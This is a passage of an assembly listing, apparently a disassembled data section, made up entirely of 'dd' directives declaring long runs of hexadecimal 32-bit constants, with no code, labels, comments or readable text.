		dd 0F78111CCh, 0A043241h, 6DA46854h, 0D044FCC8h, 0D54BAE21h
		dd 22930BD2h, 0ADBAAC40h, 360C5A12h, 3D2010C9h,	410CA2F5h
		dd 0BE00DA3Bh, 5F3D40FAh, 0E44218ECh, 2433DDF1h, 2A8288Ch
		dd 1E4B3B87h, 0FA16A240h, 690B4326h, 0F7092A10h, 130631D7h
		dd 0DD20633h, 0BB564F49h, 3ADFFFF8h, 5E0A051Ah,	6957279Ch
		dd 0B0FB82D4h, 91100969h
		dd 0FCF9E9B0h, 62C132A4h, 0C1011D79h, 6002E6h, 5E3E9240h
		dd 0F7C42355h, 0EE2D1729h, 89D0010Fh, 88B5D206h, 3E4495CFh
		dd 5995202Dh, 6012E14Dh, 17013422h, 0E943432Ah,	0C705F5EEh
		dd 1435ADEFh, 18A03F84h, 28254158h, 70C3C079h, 2606951Fh
		dd 20F5CB01h, 17E91308h, 0A28CCC2Ch, 0DBC53E4Ch, 0CC6CD975h
		dd 1FEA7380h, 8B6D1063h, 293033CBh, 0A12C5B00h,	83002F06h
		dd 19B4685Ch, 30AF4F91h, 0B499037h, 7C3115BAh, 0A7BAED28h
		dd 0A951FB89h, 0EAEE986h, 7F5A480Ah, 0EC35CE02h, 0E1740112h
		dd 0A8A00820h, 0A7A52E46h, 4A2FA4A0h, 63619247h, 6688E149h
		dd 20AF663h, 2A53D22Ch,	74C93000h, 0B797EDE1h, 4F618B3Fh
		dd 5EF222C1h, 0A25A8492h, 445C8913h, 1A45200Ah,	0F82CAC1Ch
		dd 7E286E8Dh, 39F3F1D3h, 41709069h, 18571C0h, 4C1F99A0h
		dd 40F252D8h, 4E986417h, 60BFAA2Ch, 0D7311D50h,	2B2215Ah
		dd 143C969Dh, 0CD33B168h, 0D3E953C1h, 10AE6661h, 0DE4BE02Fh
		dd 84045239h, 84A8EB83h, 5145894Fh, 0AC4EE61Dh,	52089D25h
		dd 0D9801D79h, 0ED4F0655h, 91106B94h, 5A92542h,	1B805D75h
		dd 96426DFh, 7E2C102h, 33ED1100h, 21512CA7h, 73D834C6h
		dd 3967BC20h, 118B8102h, 8085FE57h, 0A03A81F5h,	61E984Eh
		dd 97F4412h, 0EFE9CBFBh, 0E55917A9h, 831456B5h,	64CDD16Dh
		dd 0BB88BFD5h, 814C4AE9h, 520C8706h, 1403047Dh,	981C57BFh
		dd 0A948EB21h, 0FC98CEBBh, 225B85Bh, 7DCE412Eh,	0E921DE01h
		dd 0A9A05EA3h, 486873F8h, 31D2176Ch, 4AFB5F4Fh,	0A297BE5h
		dd 0BE6DEA3Ah, 9632AAh,	0C1E8D15Bh, 23508E0h, 679FBE03h
		dd 32991E9h, 6D16C53Dh,	0C7DA645Fh, 495B66E9h, 837B7835h
		dd 27175CE9h, 77633314h, 9AC9169Ch, 2E10460Ah, 0A9F6267Fh
		dd 0A03F1109h, 4A46FC79h, 0B693F41Eh, 83590636h, 1D4AF2EFh
		dd 0E1D1F081h, 0F14B002Eh, 0D7194D23h, 7CC2BDA0h, 91279E26h
		dd 882CB20h, 0ED66A659h, 434B380Dh, 81DE30F8h, 0AFBCC6FDh
		dd 68214E25h, 95609EDEh, 3D927834h, 0FA91728Eh,	200ACC49h
		dd 570058BAh, 0C2338DBFh, 90DFF759h, 8B5B98h, 71BE686Fh
		dd 0B99E5091h, 9342FA6Dh, 95668601h, 76948231h,	0DA506B3Eh
		dd 557F8C13h, 0CF794504h, 0C3F28100h, 22488A32h, 3B9A0084h
		dd 53E92B8Bh, 81209938h, 0EC8012B4h, 7435F591h,	0D97AF690h
		dd 0C9E9D9A3h, 7FC1D87Eh, 205463F0h, 872EEFCEh,	835F7DFh
		dd 2B0E5180h, 470B3760h, 5A1D6828h, 32F5878Bh, 0C6AE19A4h
		dd 0D5306B19h, 150FC90Bh, 9241AF84h, 0F35E7C12h, 732E7925h
		dd 39C09F3Ch, 3F4F1C03h, 0F101B205h, 13A53548h,	0C970209Dh
		dd 8102B092h, 0E271FDE3h, 8027401Fh, 0C117EC61h, 2409780Ch
		dd 0A210016h, 1531245h,	83310FBh, 24140C68h, 0B6603FF7h
		dd 1C6C1312h, 727889Dh,	0E9F13102h, 2D0DC838h, 40580291h
		dd 55595A3Eh, 994A7E42h, 19D18D68h, 823C0727h, 0E114571Bh
		dd 0EE38845Ah, 969CBA29h, 20212DD6h, 11A802B2h,	1E6033E9h
		dd 0C5E4C3F3h, 674AC0h,	51C801A3h, 620CC7B9h, 74492321h
		dd 3B2C79A0h, 835AC10Eh, 0DCD98237h, 59309C3Dh,	7F2D3E70h
		dd 6D15047Ch, 0B376D568h, 381800C1h, 0F8013266h, 0BE053C5Fh
		dd 2D564800h, 715A2684h, 1AC8E913h, 0F1F80B7h, 0D06804B7h
		dd 4B31F46Bh, 2D1A9495h, 3D986837h, 0BC26658Fh,	0CB17E17Eh
		dd 597A52B6h, 1448930Ch, 1F328F40h, 4B221A50h, 0E6C40649h
		dd 0B4A41395h, 16BC1A44h, 22B22C53h, 4B3D6882h,	0FA7945ABh
		dd 1185E986h, 5BDD121Dh, 85EDB259h, 58B3E921h, 42835D10h
		dd 7C34012h, 5E5BCDE4h,	442A90D0h, 0BF400039h, 5163D5B9h
		dd 0AAB4EF29h, 25C9B11Dh, 7C5E0064h, 0FE7D0D2Bh, 80282C3h
		dd 0A8D80BE9h, 1BDCBF02h, 0EA292D64h, 6924D4E1h, 549A5291h
		dd 0D70E24D6h, 1086E2A3h, 9EFCC6B0h, 6215D92Dh,	0DE6B6A89h
		dd 805C643Bh, 52188639h, 0C813FFB8h, 55B036E9h,	36086758h
		dd 15E73A80h, 947C83F1h, 98856F3Bh, 769EA473h, 74157B18h
		dd 7E0A6656h, 8A390DAh,	559C4B42h, 0CD0B6D02h, 6004C389h
		dd 0D7FD16F9h, 314A2FB3h, 0B14A9F88h, 0D6F81DBFh, 0C29120C1h
		dd 583D7E64h, 2B019305h, 1E697BB4h, 0D235DF45h,	5E9382D9h
		dd 0A7BF1445h, 54EA04F9h, 0BA740AB2h, 3D665B56h, 537B5C7Eh
		dd 569D7E4Bh, 0C84FDB67h, 0DA9856D9h, 31976D4Ah, 93893AC8h
		dd 5432F9B8h, 1F22BB71h, 0DAFD448Ch, 0E6009DAh,	6F48EE79h
		dd 0C6067DAh, 9F17F045h, 81A0F321h, 8271CCBh, 9CA2002Eh
		dd 0CBE59358h, 0D3C57394h, 0B5572A3Eh, 523D8684h, 7DE29854h
		dd 0B6BA55FDh, 875D054Fh, 8ADD6EEh, 0BB53D601h,	3AED61CFh
		dd 756A7A82h, 81E260C2h, 71BC81D0h, 0AE495D1Eh,	0EE617A2Eh
		dd 0C0849712h, 0E455E15Eh, 0E1C04ABFh, 8F4669EAh, 691590FEh
		dd 0C78129CBh, 3C77D668h, 0F5019266h, 0BC53354h, 37C10A20h
		dd 54449F7Bh, 478C045h,	5475E949h, 51247BBAh, 0AE24D719h
		dd 7E60D102h, 79B4680Eh, 15E0223h, 0EB9BE9CDh, 5682227Ch
		dd 2270EF68h, 0C390427Ch, 0C32F16D9h, 0C0C24327h, 4C740663h
		dd 0D8041437h, 0B875D13Eh, 0E2301661h, 6E072EA2h, 0C40114E7h
		dd 9349C5Dh, 2D3A6641h,	3AC7FCF0h, 0D8C2EFB6h, 46478050h
		dd 3E138357h, 1CADF729h, 79D2FB09h, 9287343Dh, 7C44B96Fh
		dd 0A981EEC1h, 42043617h, 62DB68FEh, 57162A66h,	2FC31EE9h
		dd 2783964h, 6190688Fh,	7F760AA6h, 0F794C35Eh, 2F99C301h
		dd 0F93031A7h, 25080485h, 0C4D10907h, 0BB10E4FBh, 9647C424h
		dd 7CC0CA3Fh, 75FFA31h,	895AD501h, 94B7D5EAh, 0D661AC9Fh
		dd 291CC3D5h, 6DC9DA17h, 4768D600h, 28A9B4Ah, 3EC05B9Ah
		dd 0E4C43B62h, 7F905050h, 6A4FE391h, 668BFCB9h,	0D7430251h
		dd 404008B8h, 5C685DEEh, 0D87D255Ch, 2C4B9AF6h,	3D1B360Dh
		dd 0D4B77060h, 299D0360h, 0ED341E0Ch, 62E26D3Bh, 0CDA693D1h
		dd 1748102Fh, 1D04BAEAh, 0FA01735Ch, 0BFA0E2BCh, 4B093609h
		dd 29B0E974h, 4F391EE9h, 2965C857h, 4C5FF929h, 0D2F5E942h
		dd 0ADF3017Dh, 292A3284h, 12183EDAh, 1EDFC21Bh,	0D31E4B51h
		dd 59888014h, 1798DBF7h, 0AF698709h, 0E5548336h, 1BFF8F9h
		dd 715B58DAh, 0E850D089h, 73E4309Fh, 948E9946h,	60394987h
		dd 0B8F6EDC4h, 1C07109h, 0DD1604EAh, 0FF53DC91h, 685BA740h
		dd 912D5605h, 6E35990Eh, 0F8DFF7C5h, 0FBE70315h, 3092711h
		dd 1B3AEF11h, 0C00062Dh, 9B35A746h, 0B05FFB29h,	0B900F52Bh
		dd 7F005EC6h, 37E18152h, 906F2870h, 1205600Ch, 3839266Eh
		dd 88B7EA98h, 0E6C8BA67h, 9F3A1702h, 0E9530036h, 66810E82h
		dd 90CCE820h, 61C83CC2h, 56F3454Bh, 0ED6AF455h,	0DF3F18FCh
		dd 84EBBC9Ah, 0D1FAE94Bh, 0B94EA4D3h, 0AC4A2EDCh, 0E72944Bh
		dd 0E31202DBh, 0CC8893BBh, 23372D68h, 79F2871Bh, 35F6A30Fh
		dd 0F60F9506h, 7164A5D9h, 0A9C54F07h, 0E2909283h, 80D748C6h
		dd 50DB17EBh, 1B00F0B4h, 69B15103h, 14D94FE9h, 8DC201B8h
		dd 346D7306h, 0F40B0C2Fh, 33DAB72h, 8426A143h, 26F71CB0h
		dd 136F946Dh, 6871E0AEh, 183C8427h, 0BF740A8Bh,	5076D918h
		dd 0FCE021CFh, 6F26392h, 0E1511986h, 9222BA27h,	0DDDF00E2h
		dd 0B83F0A1Dh, 0B1FF51B8h, 0F8D8ED14h, 4AB51351h, 5741A252h
		dd 0F94E41AAh, 2C707D1Bh, 3342DB80h, 6FAC5459h,	0E9CF68C5h
		dd 334C847Dh, 4EC6D758h
		dd 0EEDFF680h, 0CD536740h, 0D0BBE5E6h, 0B05066C8h, 0C208B41Eh
		dd 0B6C7F6D3h, 0EC0B87F0h, 1F0907Ah, 1AB276D0h,	615BDD31h
		dd 0F6F5EC6Ah, 75B80100h, 85E9EE29h, 9124BD7Bh,	9C081608h
		dd 5F54092Fh, 0EF10B27Bh, 1B002196h, 0ABA4A50h,	0B546CB68h
		dd 6BC68069h, 140B4D61h, 80C7A7E9h, 906D8197h, 0C597292Ah
		dd 0F2E1E668h, 86D87F2Dh, 69054091h, 0AA1E925h,	84C525E8h
		dd 0D067BD4Eh, 0BC7F84BDh, 0BA81890Bh, 0D959CB29h, 0FC446FDAh
		dd 3BC15455h, 289DE6D6h, 72638D58h, 1034AD61h, 800531F2h
		dd 5F6332E9h, 1651BBF7h, 8CD29115h, 27952AE9h, 3EF5E3B9h
		dd 0E5C118D0h, 4FB8A108h, 58C71F83h, 41D1FA29h,	53896607h
		dd 61671268h, 0BDD23AADh, 8A2A7F40h, 5A72AFF4h,	9BD2F73Ah
		dd 2C06D731h, 45239058h, 0D5CFC2F5h, 0ED5937FCh, 0B42C87D8h
		dd 0DA004BFBh, 7F105D37h, 2C757680h, 3996DDAh, 28F9068Bh
		dd 8B60C9B2h, 0F72C6893h, 530350D1h, 145F65Dh, 6749291Ch
		dd 74F4E93Fh, 240BBA4Fh, 0C3B5B7B0h, 68F89CEEh,	0E916D0B4h
		dd 0BC99BE96h, 0C336F102h, 0C5FB634Ah, 4A54C4ADh, 95019703h
		dd 0C17C2C5Ah, 7C4BE9D8h, 97B90356h, 0D16AEA42h, 66C4316h
		dd 543AF6A6h, 8A715A8Bh, 0A8066AB3h, 55DC27BFh,	6CE7A2C2h
		dd 5D43CA1Bh, 0CA04CBAAh, 0BA68F076h, 8F2B3A38h, 89D5314Dh
		dd 4CC1ACE2h, 0CC604E8Eh, 0D15FC2F2h, 5F8F4B41h, 167553F6h
		dd 0E90882F6h, 21295DE6h, 0E10BE9F0h, 0A00F7EA7h, 27624869h
		dd 0A8C8A058h, 0F61E760Bh, 4F3920Eh, 0B0C37F05h, 952FC421h
		dd 871C05BDh, 57BFC5D3h, 0D56D7744h, 5E69A0A3h,	0ECCA012Dh
		dd 4184B9B3h, 790BE568h, 4068B7A1h, 0C8BE0F5Ch,	987C595h
		dd 2DA03DE9h, 926CBD68h, 41596518h, 2F14F8DAh, 0A1601CCAh
		dd 0A04BC398h, 9EE6BA4h, 37F53E69h, 38E1E0Eh, 0EFC123C3h
		dd 763883ADh, 2C78512h,	0D6AC2A3h, 0E9F689E3h, 86801A0Bh
		dd 68C5B353h, 8CCE35Bh,	0E94F09B0h, 134E3F88h, 16B91B6h
		dd 0CDE9C807h, 570A702Ch, 8FFE789h, 310908DEh, 2CF504FBh
		dd 82C3FE05h, 66418AB6h, 28D3EC5Bh, 7B8496EBh, 57AC040Fh
		dd 705D5509h, 0E31AB52Ch, 0F8045FE3h, 6AE07349h, 8CBBD6C0h
		dd 195121Fh, 0D7AAA0F9h, 0F1526291h, 0A25245A9h, 0D62909AFh
		dd 0FD45985Ah, 305381EEh, 3C12A418h, 4E0E2266h,	14EC84D7h
		dd 73CC0AC0h, 0C7E6093h, 2E9D5526h, 0EA1F5A90h,	2F26FF77h
		dd 14BFAF2Ah, 0C3C394EBh, 0D011382h, 685B66F8h,	333A2AD9h
		dd 0E881C593h, 5AE0C659h, 0B60052A7h, 84C680A8h, 94D0F0E9h
		dd 595442B0h, 5BD8E930h, 0D5C1D84Fh, 0B8665880h, 0DBED2D0Fh
		dd 0BCD238B3h, 0BF032A56h, 102965BEh, 16B63228h, 0DE04095Ch
		dd 72B90A4Eh, 40C1C303h, 0A9E14D50h, 0FEE51265h, 0F3E9506Fh
		dd 0B93DC5Dh, 2D60A0Eh,	0F4EAA15Dh, 0AFBA4071h,	4B50457Eh
		dd 1813DBFFh, 8CA03B5Dh, 22DA4CF7h, 11405C04h, 2E1B150h
		dd 725924D5h, 1D3ECB03h, 0B90C4C1Ch, 1062FC12h,	841D119h
		dd 0FC140CA0h, 4E597E29h, 0CDF8903Fh, 0E0247CE4h, 4710B464h
		dd 5EAC102h, 45511E68h,	50B77CB0h, 1B157909h, 8DB8E9CFh
		dd 7E3C50D7h, 1265D9Ah,	2E095FC3h, 25D6D9F5h, 5D5E4B64h
		dd 25252899h, 4A7268D0h, 0C5BD212Eh, 0F54192B1h, 601076B9h
		dd 0C18B5B74h, 0ACA5B95Ch, 8921256Ch, 584B561Fh, 1CC0B487h
		dd 0C6DBB859h, 4F0F7BA5h, 7DD5269h, 52FEB9EAh, 0D8C0D001h
		dd 7260E52Dh, 0E9148008h, 8143C104h, 0F53925EDh, 0DC8C8229h
		dd 802F957Ch, 0D726F6B0h, 0D24D5872h, 98491272h, 0DCD30030h
		dd 3111CB04h, 0EFE6F6B0h, 893019B5h, 177AFD21h,	0C2F7F220h
		dd 0D4EF7C6Ch, 12DB10FEh, 0BD930203h, 0CD2F4E5Ah, 5C443090h
		dd 452BC995h, 5F62DAE1h, 8695C103h, 0E7DB280Fh,	0BC63BAA4h
		dd 137B7D64h, 0A31D6E68h, 2E3C120Eh, 5B3F8CCh, 0E91A3F65h
		dd 0FD8F5286h, 0B0D884BBh, 763A8807h, 5764BDEFh, 8FCCB978h
		dd 5465FE5Ah, 9E1F010h,	4DE5F60h, 1281807Ch, 1BC759Ch
		dd 0EE102D7Ah, 6BA92BE0h, 3E4A10BDh, 9E2D5893h,	4FF28101h
		dd 0D8652B11h, 700555E2h, 94E93207h, 7149F099h,	527B6830h
		dd 0B101745Fh, 29220B32h, 27037FFEh, 7628D4E9h,	0C2C41FB1h
		dd 3EBF2C71h, 3F81FEA5h, 20668B2Ch, 69A23C2h, 0F15E5425h
		dd 0D712E956h, 0EA282C5Eh, 2580EC8Ah, 451C389Ah, 64685504h
		dd 65AA2974h, 0DC3E00BEh, 45106F6Eh, 5CC70EC0h,	5EE91860h
		dd 0E51C91E0h, 8BB43058h, 8CE6800Eh, 0C066CC0h,	1FEEF257h
		dd 8EC6FE01h, 0F0027FF6h, 10587AE9h, 5D24BD96h,	0B873C303h
		dd 0DC96076Fh, 0E2FCD677h, 6C5402D7h, 0FE38E669h, 8F839547h
		dd 10B9425Bh, 2D297B32h, 0AFBF23D6h, 44337225h,	0BB5300A4h
		dd 1FD808F5h, 4B4831E9h, 45F9C451h, 1C9CEA2h, 3FAA5B82h
		dd 0D5655107h, 3FB559E0h, 0F05BB7E8h, 2570B256h, 4B374495h
		dd 455671Ch, 5EC6E9D0h,	0B454EC8Ch, 0B2E9612Ah,	44F766C7h
		dd 5462530Eh, 587DE959h, 96577A09h, 0D94669B1h,	0F101B190h
		dd 0F76E203Fh, 0D0CD40D8h, 1062A940h, 3B394CE0h, 6F2F891Fh
		dd 0C61B66F4h, 52752D54h, 40EA9868h, 0F2B3469Dh, 8073E93Eh
		dd 5B259F79h, 688D448Ah, 8C295A8h, 0A728E11Bh, 75217E0Fh
		dd 4AEC6576h, 0E018A858h, 6C296268h, 0E029542Ch, 9E6DE83Bh
		dd 0B4C845B7h, 394A1F07h, 0A815F329h, 0E9870DBDh, 0B22A8B22h
		dd 0AB8F2B92h, 0CA858B30h, 58288952h, 316CB633h, 4BE90D06h
		dd 0BE168077h, 8B0C29E1h, 0BE5BA30h, 5EF20931h,	0DC524DE9h
		dd 95AE7D26h, 3C07C281h, 0CA73A59h, 390C972Dh, 50E90CA3h
		dd 0EEF2FF7h, 185709EEh, 54A180DEh, 0FD292807h,	0EB175F73h
		dd 39E5CDE9h, 88789232h, 9B99295Ch, 5E813D19h, 0F7E5B475h
		dd 5F2CB72Ch, 5C740054h, 0C2294CF1h, 16088CD0h,	0C553E4E9h
		dd 69005CE8h, 814E6F62h, 6632CDCFh, 5039B0FBh, 895B0293h
		dd 0FE095AD7h, 50B69855h, 0B74534E9h, 816FEDD4h, 2256685Dh
		dd 0DC45C304h, 6CEB2501h, 5A5C0D0Ch, 50A0CD40h,	7517D37h
		dd 0C732FEE5h, 86F56128h, 2015E518h, 6F18B460h,	67A85A38h
		dd 70742C2Dh, 0D5FF1265h, 0B8B857Ah, 0AEE633DBh, 2F3E6818h
		dd 9D295483h, 5B6085E6h, 5F511B4Eh, 17C8A005h, 5D552812h
		dd 6DE71681h, 0B0FB04AEh, 0B6E41C4Dh, 5F8A09h, 40453550h
		dd 0C1040D8Dh, 470707E0h, 0D003D7C1h, 0B6E96C0Dh, 0DF90264Ah
		dd 0E1E59298h, 5112916Ch, 0C7C70853h, 768BBB01h, 6E3C4DDAh
		dd 0B2112A7Dh, 0F2CE7F98h, 3625F6Ch, 591F67Ch, 0E1683A80h
		dd 804A0C59h, 7B0280E0h, 253AB029h, 0C013AFD6h,	53EE14C1h
		dd 43FAD398h, 5F3F61D8h, 724C1252h, 1006C2B4h, 690AAD68h
		dd 9AFDAA4h, 0B11B9CEFh, 0BCF08005h, 68560173h,	0E136321h
		dd 82451896h, 5360477Ah, 660F82A1h, 0CBF829CAh,	702AACABh
		dd 684C40B2h, 0C5307D34h, 0B4D79B99h, 12752B3h,	0EDE9E6E0h
		dd 0AD0B5CB4h, 812C0E52h, 89345865h, 133ACD21h,	74AACB6h
		dd 4D743CF3h, 0A883A16Fh, 0D874DF60h, 14060B05h, 7A256E1h
		dd 0F9090BA5h, 4DCF2048h, 510B8ABEh, 23E75954h,	57222A7h
		dd 0B9600EBBh, 17FA215h, 5BB45C64h, 51FD31AEh, 0C01144B9h
		dd 0C5671EEFh, 0CE293816h, 0B08F110h, 0A095859h, 5E99B87Bh
		dd 0A2305341h, 0C0F05595h, 6D11362h, 9E0BF24Bh,	0A1B20D52h
		dd 0B2462678h, 1F8F40DDh
		dd 4271702Ah, 81024A71h, 1369DACAh, 5EA28002h, 37A31Bh
		dd 0EE1FDE2Dh, 5D02966h, 205A07A1h, 63073C12h, 0C7017391h
		dd 4D08548Eh, 5EFC9473h, 4667ACCh, 10A724Dh, 170810EFh
		dd 1AC236E9h, 0C8855D28h, 4161E835h, 3441E56Ch,	92246832h
		dd 4C6BF10Ch, 3781204Ah, 0F34A6990h, 42B33E48h,	0D609AB9Ah
		dd 37F082ADh, 0E2417EA3h, 23B01739h, 0EC5B864Dh, 7CFB05CBh
		dd 9156082Eh, 6094176Fh, 84A1D639h, 64C170E6h, 10972C6h
		dd 0C2E16499h, 0D75EA4Ah, 37D34F87h, 0B1B4812h,	4772044Eh
		dd 9754C356h, 0BE377498h, 672EA402h, 505EE912h,	6B5822Ah
		dd 4A0F6C95h, 1A58D5CEh, 1D4114E5h, 61D6CD4Eh, 2436980h
		dd 4911BFEFh, 6E8F6116h, 57354800h, 0C8D1A801h,	4E58C609h
		dd 99EFFCFCh, 44217B5h,	0FC3B5B90h, 0DAFE8BBFh,	0AAF6207Fh
		dd 0F7020090h, 0E35FC5B3h, 0DBB27531h, 42AD3AAh, 0C0341984h
		dd 61F8EEF9h, 14DD309h,	86308D6h, 88C8E52Dh, 552C4529h
		dd 74F8620Dh, 0C5C0EA78h, 48647182h, 28FD013Ch,	5F5B08EDh
		dd 27E99360h, 0BF6C9D62h, 555D44A0h, 7F68510Eh,	592B4517h
		dd 0E885C401h, 0BF3CD480h, 3BCD891Fh, 0E9D0444Bh, 0B32EF0A3h
		dd 0D9883A01h, 5EC9805Bh, 0F3D8C1CCh, 519E823Bh, 4618CE54h
		dd 5C1C22E8h, 0E6020430h, 7B192706h, 1E93D68Ah,	0FAA17FFh
		dd 1242E523h, 0D1FC7887h, 2F1B9588h, 3BD08240h,	0C178799Ch
		dd 311205E8h, 0D3CEE9C8h, 49A0BF80h, 0F7351D79h, 19AB04D7h
		dd 0EFE90A60h, 0A2A7A895h, 362E60C3h, 0CB011F6Dh, 0D5E367E9h
		dd 9D186020h, 837DF7EEh, 0D25D390h, 58E43047h, 0DB11FB18h
		dd 7F2902A9h, 1AD6A280h, 96A16214h, 0BA1D87CDh,	7CC6467Bh
		dd 7F62A022h, 66CAA003h, 746B0614h, 49D2EEE9h, 16C1BD83h
		dd 5C087639h, 3ECBDFCAh, 41DC40Ah, 2244C968h, 0EEAA808h
		dd 0F62157E9h, 0DC4ADE01h, 0CE841B5h, 0A6B3A70Fh, 716A17DAh
		dd 6373023Fh, 0E95605D0h, 1390F912h, 7A135F90h,	0D4BD5930h
		dd 9ADFEC78h, 2EB900D0h, 8104715Ah, 731D7EC9h, 0F1871233h
		dd 16757B7Ah, 0A2C91B1h, 0F6C952A5h, 0D8E90979h, 0F893A267h
		dd 46B15508h, 385B4931h, 52307CA2h, 25EAABD5h, 0CE99072h
		dd 0A531D7EBh, 48419838h, 0BE7CD03Fh, 3F7DDB7Ah, 3AC17035h
		dd 9D1321B2h, 69918C7Ch, 54330204h, 7AD0DAE9h, 98DC72BDh
		dd 0F98495C2h, 0CEB4A029h, 0EE24A85Ah, 4871F701h, 75E6239Ah
		dd 0E9028EA0h, 2EB9F8C2h, 594BDF17h, 0D846812Ch, 0A97B151h
		dd 6B768DC8h, 8284A552h, 0A85634AAh, 1EE9C4C9h,	8B254DEAh
		dd 45714ABEh, 0E5163005h, 80A3139Fh, 0E535BF8h,	0C7FEFCB7h
		dd 0D7F6CF40h, 0BE5F6850h, 54E04D8h, 0E998C580h, 66AC4B3Bh
		dd 35EB5443h, 0F280100Eh, 0CCA6C39h, 506E00C2h,	94347DB0h
		dd 1C5A75E9h, 2FB8D154h, 0D1A58227h, 7083DCE2h,	59A8DE9h
		dd 1042CAACh, 27BD1129h, 5F167273h, 4DAFDFD8h, 0BC7615EBh
		dd 0E6C95A9Ah, 1AD6FA83h, 78E4E942h, 5E304C58h,	13271910h
		dd 43104758h, 1EFC12E9h, 5B1ED9EDh, 106F4B4Ah, 85F53F44h
		dd 3D676891h, 0CDB36E40h, 0C55DAAE9h, 0AC5FFA3Fh, 0B850A062h
		dd 0A52A01EBh, 7AE94048h, 0E1BB4808h, 3148564Eh, 29F9258Bh
		dd 30FE5244h, 33A9CE3Bh, 0C17E5804h, 0DFC408EEh, 680193C2h
		dd 1EB22DA3h, 89A1A0A7h, 99D6D4C5h, 7F735980h, 0EA0EBA0Dh
		dd 59C5B060h, 0BF050E35h, 4053947h, 48ED1AB2h, 87F472C1h
		dd 384E7500h, 9242E918h, 809497ABh, 68E913C2h, 2D3A68FEh
		dd 361D02FAh, 5E80167h,	0B2780789h, 2B282301h, 5D59C829h
		dd 0F510E732h, 0A2BA032Eh, 205F0E76h, 6813AAA4h, 0AC302817h
		dd 121993BDh, 1829229Fh, 34BF8EDh, 0DC34B63Ch, 9624831h
		dd 8F0B664Eh, 0BB53206Bh, 26BF6298h, 53B4B63h, 0C2B3FC49h
		dd 0EC60DE0Dh, 90B7546Dh, 0FC78125h, 37501B45h,	0A40A4CC4h
		dd 0B41385D2h, 33E0BEE8h, 30BC4138h, 61E89ACh, 0C1CB7764h
		dd 84AE505h, 0BF1244C4h, 0B072505h, 80F798C3h, 0C14F4845h
		dd 4B79C3C6h, 6BE1312Ah, 0C5415494h, 62D62065h,	7C3102Eh
		dd 0CFD2915Eh, 0E582628h, 121904FEh, 0E2520CA0h, 0F28248B2h
		dd 0D330C903h, 0E9F0285Ah, 0DE9ED433h, 74EB6841h, 9CC692Ah
		dd 166D3906h, 9889B063h, 123A15E1h, 17B50AD3h, 0AC6AAC84h
		dd 533E3C32h, 5134FD18h, 90FB8C9h, 84555A2Ah, 2EA83E30h
		dd 0CBFFF2E5h, 287C2C4Fh, 0FABE12E2h, 0DFE7E4FCh, 0B0E5EAA3h
		dd 331668F2h, 5B066947h, 2F15EE5Dh, 0AAE61BC9h,	193AA49h
		dd 67EBBE56h, 84EC63CFh, 44ACB4D9h, 9F29AF5Bh, 5D579852h
		dd 0DC7E433Ah, 0DB2768C2h, 2E1B0215h, 99562F11h, 0C94DE941h
		dd 68666C87h, 52EADBE8h, 6C8D647Bh, 0D27828A5h,	0C3BA52C0h
		dd 70605572h, 0F0547FC4h, 16269866h, 4E3E48h, 0DAC1C6FDh
		dd 2905C023h, 2BE6E9F1h, 58094B5Eh, 68E321E4h, 0E534075h
		dd 2E627C53h, 0BA35578h, 555EEB09h, 0C168BE40h,	56A224E0h
		dd 64E18759h, 0A7051946h, 2C0712C2h, 944EE97Fh,	0DFF73D05h
		dd 863A101h, 5BF59EB9h,	0F3D40135h, 0CFF7A8A4h,	82430E8h
		dd 959FEFDAh, 0E9B8E20Eh, 59503956h, 4DBFE43h, 3B2A0531h
		dd 3A8F065h, 3F9277FAh,	55858797h, 41F07129h, 0FED8215Fh
		dd 684EA15Fh, 0AF920E39h, 9D9A71BBh, 0F61B924Ch, 9DC4F9C6h
		dd 299FFC45h, 84B95816h, 0A0B2A015h, 0DF5C1C3Ch, 796D140Fh
		dd 4AEF0A4h, 84C1F829h,	14634550h, 54525705h, 7A30DD5Ah
		dd 95C9D174h, 6857DA80h, 8A12284h, 0D03850CFh, 4E255E29h
		dd 185ED4D1h, 0A6E54351h, 792D80F3h, 4E6D5F13h,	83455612h
		dd 7289D030h, 4A3F4C24h, 7D5CCB63h, 0E519CA27h,	0EFFD3B01h
		dd 4350E271h, 5FB06859h, 8D1DD73h, 655A0CBEh, 64AFC164h
		dd 0D17DF0EBh, 0A03E53h, 19685341h, 0A112C571h,	626A57AFh
		dd 94FE03CAh, 3946744Bh, 0D251F5CAh, 67B51478h,	0D1CB3F83h
		dd 81A39B89h, 52D831C2h, 377EBF68h, 558B704Dh, 0E1FA4580h
		dd 680D4255h, 3AC85F79h, 582E9914h, 0E24AA8E9h,	34755B4h
		dd 0F2813236h, 42A867EAh, 0A5F65E9h, 20E54449h,	25ABD65h
		dd 216609CBh, 49045DEFh, 0D80552BCh, 78ACC583h,	3E9D213Bh
		dd 8DF5817Bh, 61764455h, 0D4B4006h, 0E29F2948h,	5D080158h
		dd 8B3EDE89h, 12171000h, 5D2D0C58h, 973F7453h, 0DB8964BEh
		dd 0A54076Ah, 0FA908911h, 0C597A2F0h, 0C9A6BEF9h, 2DAD809Dh
		dd 518E3F60h, 0C128C494h, 0AE7BDB3Bh, 0D0000470h, 0C1447A66h
		dd 810201EBh, 0D96F12E3h, 4CC48773h, 8AFBE96Bh,	4F9E9368h
		dd 1262470Bh, 92E87981h, 6869C0B8h, 9CB66CF0h, 3F2F8A60h
		dd 0E950540Bh, 597402FAh, 13FBE941h, 2C984D6h, 0F630FCB6h
		dd 0A758C0C4h, 0D04EF769h, 692C35A0h, 0B22394Ah, 13FAE3DBh
		dd 0EA48350Eh, 7ACACC7Dh, 18796005h, 2AA4065h, 18A46BBAh
		dd 0E9565209h, 0ACFDA40Ch, 277E40B7h, 3C304D31h, 0EE9572B7h
		dd 4165957Fh, 401FE98Bh, 0EEE828A8h, 91F154BAh,	0E67B4BBCh
		dd 79317AC1h, 13223731h, 0A762646Fh, 0C06809A2h, 43A23053h
		dd 72182723h, 7803389h,	4CC4555Ch, 59BEE970h, 19BDB900h
		dd 55776A5h, 0E2D33BFh,	248BAC75h, 8D000E56h, 8923D92Eh
		dd 7D11B8C6h, 0BE66D593h, 880624A4h, 0D14077E6h, 0AF8DAD55h
		dd 7582534Ah, 187F062Fh, 8222DB26h, 0C2585EC2h,	1171C501h
		dd 0F50121AFh, 842EDE1h
		dd 769F425Eh, 0B51A584Ah, 0D50886C7h, 2DFC3974h, 0ADC5EF42h
		dd 0B5488A9h, 64117C1Eh, 669510D8h, 0BEF148F7h,	0A90D026h
		dd 6D884E0Bh, 45F4604Fh, 92838A94h, 2D4BF45Bh, 217905D8h
		dd 655D0F25h, 0E1443237h, 90504652h, 1371B64Ah,	0B891DB50h
